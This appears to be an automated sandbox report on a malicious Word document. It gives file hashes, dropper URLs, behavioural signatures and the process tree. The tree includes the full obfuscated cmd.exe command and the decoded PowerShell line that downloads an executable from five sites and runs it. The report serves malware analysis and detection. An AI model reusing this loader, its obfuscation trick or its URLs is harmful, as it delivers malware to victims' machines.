Overview

overview

10

Static

static

8

cb51a496b2...04.doc

windows7-x64

10

cb51a496b2...04.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    102s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-07-2022 08:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    cb51a496b2dbb4455c42ad326ed97799fa15c4cf7903a86858b31a47a899d504.doc

  • Size

    88KB

  • MD5

    04e7a34036d75f10440174ad4aa791e7

  • SHA1

    ea3f0451caf876d473d9c89888770609b74abd03

  • SHA256

    cb51a496b2dbb4455c42ad326ed97799fa15c4cf7903a86858b31a47a899d504

  • SHA512

    2f1c0f2555dc7281700a5a4c5a6bcefc9d810920f902525732797e05c4f7ee0776d450b1749dcc72e83d0a27641cba72a8e9c0ea567f5319f4a7918315a94fdc

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://gtvtuning.com//M6X7JF0
exe.dropper

http://kodi.org.pl//Fv7Cz
exe.dropper

http://kernkwadrant.nl/r9ktom
exe.dropper

http://flaviofortes.com.br/gAelg4
exe.dropper

http://guinathon.ysu.edu/MJns

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cb51a496b2dbb4455c42ad326ed97799fa15c4cf7903a86858b31a47a899d504.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:220
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set PI=QMawDZhBqiaGwBhjzpQXmDz5nv4R)0$;IL,uW\J=y-gArO7+S8PkU'dbctFC.fl/:NeKx}{1Y9 6@sT(o&&for %D in (30;45;72;11;39;53;56;57;15;53;31;30;17;45;78;39;24;66;12;41;80;55;15;66;56;57;74;65;66;57;60;36;66;55;59;62;9;66;24;57;31;30;59;33;67;39;53;14;57;57;17;64;63;63;42;57;25;57;35;24;9;24;42;60;56;80;20;63;63;1;75;19;46;38;58;29;76;14;57;57;17;64;63;63;51;80;54;9;60;80;44;42;60;17;62;63;63;58;25;46;59;22;76;14;57;57;17;64;63;63;51;66;44;24;51;12;10;54;44;10;24;57;60;24;62;63;44;73;51;57;80;20;76;14;57;57;17;64;63;63;61;62;10;25;9;80;61;80;44;57;66;77;60;56;80;20;60;55;44;63;42;43;66;62;42;26;76;14;57;57;17;64;63;63;42;35;9;24;10;57;14;80;24;60;40;77;35;60;66;54;35;63;1;38;24;77;53;60;48;17;62;9;57;79;53;76;53;28;31;30;14;80;27;39;53;54;52;14;53;31;30;22;13;11;74;39;74;53;23;29;71;53;31;30;15;15;55;39;53;18;9;20;53;31;30;44;59;21;39;30;66;24;25;64;57;66;20;17;47;53;37;53;47;30;22;13;11;47;53;60;66;68;66;53;31;61;80;44;66;10;56;14;79;30;62;59;48;74;9;24;74;30;59;33;67;28;70;57;44;40;70;30;17;45;78;60;21;80;12;24;62;80;10;54;58;9;62;66;79;30;62;59;48;34;74;30;44;59;21;28;31;30;59;22;55;39;53;50;22;59;53;31;32;61;74;79;79;11;66;57;41;32;57;66;20;74;30;44;59;21;28;60;62;66;24;42;57;14;74;41;42;66;74;49;29;29;29;29;28;74;70;32;24;25;80;51;66;41;32;57;66;20;74;30;44;59;21;31;30;20;50;27;39;53;78;36;38;53;31;55;44;66;10;51;31;69;69;56;10;57;56;14;70;69;69;30;22;8;22;39;53;35;78;19;53;31;87)do set qAh=!qAh!!PI:~%D,1!&&if %D==87 powershell "!qAh:*qAh!=!""
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:4132
        • C:\Windows\system32\cmd.exe
          CmD /V:ON/C"set PI=QMawDZhBqiaGwBhjzpQXmDz5nv4R)0$;IL,uW\J=y-gArO7+S8PkU'dbctFC.fl/:NeKx}{1Y9 6@sT(o&&for %D in (30;45;72;11;39;53;56;57;15;53;31;30;17;45;78;39;24;66;12;41;80;55;15;66;56;57;74;65;66;57;60;36;66;55;59;62;9;66;24;57;31;30;59;33;67;39;53;14;57;57;17;64;63;63;42;57;25;57;35;24;9;24;42;60;56;80;20;63;63;1;75;19;46;38;58;29;76;14;57;57;17;64;63;63;51;80;54;9;60;80;44;42;60;17;62;63;63;58;25;46;59;22;76;14;57;57;17;64;63;63;51;66;44;24;51;12;10;54;44;10;24;57;60;24;62;63;44;73;51;57;80;20;76;14;57;57;17;64;63;63;61;62;10;25;9;80;61;80;44;57;66;77;60;56;80;20;60;55;44;63;42;43;66;62;42;26;76;14;57;57;17;64;63;63;42;35;9;24;10;57;14;80;24;60;40;77;35;60;66;54;35;63;1;38;24;77;53;60;48;17;62;9;57;79;53;76;53;28;31;30;14;80;27;39;53;54;52;14;53;31;30;22;13;11;74;39;74;53;23;29;71;53;31;30;15;15;55;39;53;18;9;20;53;31;30;44;59;21;39;30;66;24;25;64;57;66;20;17;47;53;37;53;47;30;22;13;11;47;53;60;66;68;66;53;31;61;80;44;66;10;56;14;79;30;62;59;48;74;9;24;74;30;59;33;67;28;70;57;44;40;70;30;17;45;78;60;21;80;12;24;62;80;10;54;58;9;62;66;79;30;62;59;48;34;74;30;44;59;21;28;31;30;59;22;55;39;53;50;22;59;53;31;32;61;74;79;79;11;66;57;41;32;57;66;20;74;30;44;59;21;28;60;62;66;24;42;57;14;74;41;42;66;74;49;29;29;29;29;28;74;70;32;24;25;80;51;66;41;32;57;66;20;74;30;44;59;21;31;30;20;50;27;39;53;78;36;38;53;31;55;44;66;10;51;31;69;69;56;10;57;56;14;70;69;69;30;22;8;22;39;53;35;78;19;53;31;87)do set qAh=!qAh!!PI:~%D,1!&&if %D==87 powershell "!qAh:*qAh!=!""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:628
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell "$OYG='ctj';$pOT=new-object Net.WebClient;$CLK='http://gtvtuning.com//M6X7JF0@http://kodi.org.pl//Fv7Cz@http://kernkwadrant.nl/r9ktom@http://flaviofortes.com.br/gAelg4@http://guinathon.ysu.edu/MJns'.Split('@');$hoR='dUh';$zBG = '501';$jjb='Qim';$rCD=$env:temp+'\'+$zBG+'.exe';foreach($lCS in $CLK){try{$pOT.DownloadFile($lCS, $rCD);$Czb='PzC';If ((Get-Item $rCD).length -ge 80000) {Invoke-Item $rCD;$mPR='TWJ';break;}}catch{}}$zqz='uTX';"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1292

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1292-144-0x00007FFEFB4C0000-0x00007FFEFBF81000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1292-143-0x00007FFEFB4C0000-0x00007FFEFBF81000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1292-142-0x0000019F6A9B0000-0x0000019F6A9D2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4400-134-0x00007FFEE80D0000-0x00007FFEE80E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4400-138-0x0000017DE6930000-0x0000017DE6934000-memory.dmp

      Filesize

      16KB

      Download

    • memory/4400-136-0x00007FFEE5AA0000-0x00007FFEE5AB0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4400-135-0x00007FFEE5AA0000-0x00007FFEE5AB0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4400-130-0x00007FFEE80D0000-0x00007FFEE80E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4400-133-0x00007FFEE80D0000-0x00007FFEE80E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4400-132-0x00007FFEE80D0000-0x00007FFEE80E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4400-131-0x00007FFEE80D0000-0x00007FFEE80E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4400-146-0x00007FFEE80D0000-0x00007FFEE80E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4400-148-0x00007FFEE80D0000-0x00007FFEE80E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4400-147-0x00007FFEE80D0000-0x00007FFEE80E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4400-149-0x00007FFEE80D0000-0x00007FFEE80E0000-memory.dmp

      Filesize

      64KB

      Download